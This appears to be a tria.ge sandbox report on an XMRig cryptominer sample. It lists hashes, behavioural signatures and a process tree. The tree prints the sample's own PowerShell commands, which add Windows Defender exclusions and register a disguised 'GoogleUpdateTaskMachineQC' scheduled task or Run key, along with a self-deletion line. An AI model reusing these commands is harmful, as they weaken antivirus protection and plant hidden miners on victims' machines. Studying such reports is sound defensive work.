Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

grhddhsGHs...6).exe

windows7-x64

10

grhddhsGHs...6).exe

windows10-2004-x64

10

grhddhsGHs... K.exe

windows7-x64

10

grhddhsGHs... K.exe

windows10-2004-x64

10

grhddhsGHs...7).exe

windows7-x64

10

grhddhsGHs...7).exe

windows10-2004-x64

10

grhddhsGHs...8).exe

windows7-x64

10

grhddhsGHs...8).exe

windows10-2004-x64

10

grhddhsGHs...9).exe

windows7-x64

10

grhddhsGHs...9).exe

windows10-2004-x64

10

grhddhsGHs...0).exe

windows7-x64

10

grhddhsGHs...0).exe

windows10-2004-x64

10

grhddhsGHs...1).exe

windows7-x64

10

grhddhsGHs...1).exe

windows10-2004-x64

10

grhddhsGHs...2).exe

windows7-x64

10

grhddhsGHs...2).exe

windows10-2004-x64

10

grhddhsGHs...3).exe

windows7-x64

10

grhddhsGHs...3).exe

windows10-2004-x64

10

grhddhsGHs...4).exe

windows7-x64

10

grhddhsGHs...4).exe

windows10-2004-x64

10

grhddhsGHs...5).exe

windows7-x64

10

grhddhsGHs...5).exe

windows10-2004-x64

10

grhddhsGHs...6).exe

windows7-x64

10

grhddhsGHs...6).exe

windows10-2004-x64

10

grhddhsGHs...7).exe

windows7-x64

10

grhddhsGHs...7).exe

windows10-2004-x64

10

grhddhsGHs...8).exe

windows7-x64

10

grhddhsGHs...8).exe

windows10-2004-x64

10

grhddhsGHs...9).exe

windows7-x64

10

grhddhsGHs...9).exe

windows10-2004-x64

10

grhddhsGHs...0).exe

windows7-x64

10

grhddhsGHs...0).exe

windows10-2004-x64

10

Resubmissions

11/02/2025, 16:33

250211-t2ztsstkey 10

11/02/2025, 16:33

250211-t2zh2atkex 10

11/02/2025, 16:33

250211-t2yxhatkew 10

11/02/2025, 16:33

250211-t2nrjasqdk 10

24/10/2024, 20:12

241024-yyvg5asemn 10

24/10/2024, 20:11

241024-yygk9ssemk 10

24/10/2024, 20:11

241024-yygahasemj 10

24/10/2024, 20:11

241024-yyd55sselq 10

24/10/2024, 20:08

241024-yw247asdqp 10

24/10/2024, 20:08

241024-yw1lcssdqn 10

Analysis

  • max time kernel
    899s
  • max time network
    888s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/02/2025, 16:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10
xmrigadwarediscoveryexecutionminerpersistenceprivilege_escalationstealerupx

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 30 IoCs
    miner
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 11 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Installs/modifies Browser Helper Object 2 TTPs 8 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies Internet Explorer settings 1 TTPs 26 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • System policy modification 1 TTPs 4 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3452
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (25).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (25).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: EnumeratesProcesses
        PID:1484
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:372
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4616
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2372
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (25).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4580
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:3396
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3988
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2388
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1836
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4308
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:836
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3016
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1004
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
                PID:4200
            • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
              "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QzNDRDlCRTEtNTQ4MS00MzMxLTlEQ0ItMjIzMDgyMzE1QzI0fSIgdXNlcmlkPSJ7MDlGQjU1NUItOTYyOS00NjE5LTkwNzQtRDI4OEU5NDk0MkNDfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NDczOThFN0YtQkE4Qy00OUVDLTg1QzctNkQzRDQyOEUwNUFFfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIzIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDcxNzgiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxOTY4MDM3MTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MjAxNTkwODI1Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
              1⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:1592
            • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\MicrosoftEdge_X64_133.0.3065.59.exe
              "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\MicrosoftEdge_X64_133.0.3065.59.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
              1⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:752
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\MicrosoftEdge_X64_133.0.3065.59.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
                2⤵
                • Boot or Logon Autostart Execution: Active Setup
                • Executes dropped EXE
                • Installs/modifies Browser Helper Object
                • Drops file in Program Files directory
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                • System policy modification
                PID:2848
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x228,0x22c,0x230,0x224,0x234,0x7ff7aaba6a68,0x7ff7aaba6a74,0x7ff7aaba6a80
                  3⤵
                  • Executes dropped EXE
                  PID:2276
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe" --msedge --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=1
                  3⤵
                  • Executes dropped EXE
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2232
                  • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe
                    "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff7aaba6a68,0x7ff7aaba6a74,0x7ff7aaba6a80
                    4⤵
                    • Executes dropped EXE
                    PID:964
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --msedge --channel=stable --register-package-identity --verbose-logging --system-level
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:4504
                  • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff657046a68,0x7ff657046a74,0x7ff657046a80
                    4⤵
                    • Executes dropped EXE
                    PID:440
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --msedge --channel=stable --remove-deprecated-packages --verbose-logging --system-level
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:4052
                  • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x228,0x22c,0x230,0x224,0x234,0x7ff657046a68,0x7ff657046a74,0x7ff657046a80
                    4⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    PID:3040
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --msedge --channel=stable --update-game-assist-package --verbose-logging --system-level
                  3⤵
                  • Executes dropped EXE
                  • Drops file in Program Files directory
                  • Suspicious use of WriteProcessMemory
                  PID:4412
                  • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.60 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.59\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.59 --initial-client-data=0x224,0x228,0x22c,0x208,0x230,0x7ff657046a68,0x7ff657046a74,0x7ff657046a80
                    4⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    PID:3856
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k AppReadiness -p -s AppReadiness
              1⤵
                PID:2348
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QzNDRDlCRTEtNTQ4MS00MzMxLTlEQ0ItMjIzMDgyMzE1QzI0fSIgdXNlcmlkPSJ7MDlGQjU1NUItOTYyOS00NjE5LTkwNzQtRDI4OEU5NDk0MkNDfSIgaW5zdGFsbHNvdXJjZT0ic2NoZWR1bGVyIiByZXF1ZXN0aWQ9IntCQjE5MkMyOC0xNzQ0LTQ3NkItOEM1Ny05NEE4NTI3NjBFRjV9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iMiIgcGh5c21lbW9yeT0iNCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7VlBRb1AxRitmcTE1d1J6aDFrUEw0UE1wV2g4T1JNQjVpenZyT0MvY2hqUT0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7RjNDNEZFMDAtRUZENS00MDNCLTk1NjktMzk4QTIwRjFCQTRBfSIgdmVyc2lvbj0iMS4zLjE5NS40MyIgbmV4dHZlcnNpb249IiIgbGFuZz0iIiBicmFuZD0iSU5CWCIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjQiIGNvaG9ydD0icnJmQDAuMDMiPjx1cGRhdGVjaGVjay8-PHBpbmcgcj0iNCIgcmQ9IjY2MTIiIHBpbmdfZnJlc2huZXNzPSJ7RTI4NTFCQkUtMjExMy00NDE2LTk1MTMtNjEyMDM2MTI5Q0RBfSIvPjwvYXBwPjxhcHAgYXBwaWQ9Ins1NkVCMThGOC1CMDA4LTRDQkQtQjZEMi04Qzk3RkU3RTkwNjJ9IiB2ZXJzaW9uPSI5Mi4wLjkwMi42NyIgbmV4dHZlcnNpb249IjEzMy4wLjMwNjUuNTkiIGxhbmc9IiIgYnJhbmQ9IklOQlgiIGNsaWVudD0iIiBleHBlcmltZW50cz0iY29uc2VudD1mYWxzZSIgaW5zdGFsbGFnZT0iNCIgaXNfcGlubmVkX3N5c3RlbT0idHJ1ZSIgbGFzdF9sYXVuY2hfY291bnQ9IjEiIGxhc3RfbGF1bmNoX3RpbWU9IjEzMzgzNDI0OTc2NDM3NDE0MCI-PHVwZGF0ZWNoZWNrLz48ZXZlbnQgZXZlbnR0eXBlPSIxMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTIzNTE4NDU4MSIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjEzIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MjM1MzQwODQxIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMTQiIGV2ZW50cmVzdWx0PSIwIiBlcnJvcmNvZGU9Ii0yMTQ3MDIzODM4IiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI2NzM1NDk3NDg3IiBzb3VyY2VfdXJsX2luZGV4PSIwIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIiBkb3dubG9hZGVyPSJkbyIgdXJsPSJodHRwOi8vbXNlZGdlLmIudGx1LmRsLmRlbGl2ZXJ5Lm1wLm1pY3Jvc29mdC5jb20vZmlsZXN0cmVhbWluZ3NlcnZpY2UvZmlsZXMvZmVkNTU4MDUtMmU4NS00MWQ4LWI0ZTMtNGVmNmI1ZWJmNjNhP1AxPTE3Mzk4OTcyNTcmYW1wO1AyPTQwNCZhbXA7UDM9MiZhbXA7UDQ9ZWJUWmJJaVVBclBENFJ5ZjEzQXFYMWhLVHVzMFV5allPV0k0MzF2Mno2TTB6VFhxdGFrRGJmbzhpQUROQkVzUnp2Q2RhQXdhRU5wN1A1aW9mbGF6NGclM2QlM2QiIHNlcnZlcl9pcF9oaW50PSIiIGNkbl9jaWQ9Ii0xIiBjZG5fY2NjPSIiIGNkbl9tc2VkZ2VfcmVmPSIiIGNkbl9henVyZV9yZWZfb3JpZ2luX3NoaWVsZD0iIiBjZG5fY2FjaGU9IiIgY2RuX3AzcD0iIiBkb3dubG9hZGVkPSIwIiB0b3RhbD0iMCIgZG93bmxvYWRfdGltZV9tcz0iMTYiLz48ZXZlbnQgZXZlbnR0eXBlPSIxNCIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNjczNTY1MzYwNSIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgZG93bmxvYWRlcj0iYml0cyIgdXJsPSJodHRwOi8vbXNlZGdlLmIudGx1LmRsLmRlbGl2ZXJ5Lm1wLm1pY3Jvc29mdC5jb20vZmlsZXN0cmVhbWluZ3NlcnZpY2UvZmlsZXMvZmVkNTU4MDUtMmU4NS00MWQ4LWI0ZTMtNGVmNmI1ZWJmNjNhP1AxPTE3Mzk4OTcyNTcmYW1wO1AyPTQwNCZhbXA7UDM9MiZhbXA7UDQ9ZWJUWmJJaVVBclBENFJ5ZjEzQXFYMWhLVHVzMFV5allPV0k0MzF2Mno2TTB6VFhxdGFrRGJmbzhpQUROQkVzUnp2Q2RhQXdhRU5wN1A1aW9mbGF6NGclM2QlM2QiIHNlcnZlcl9pcF9oaW50PSIiIGNk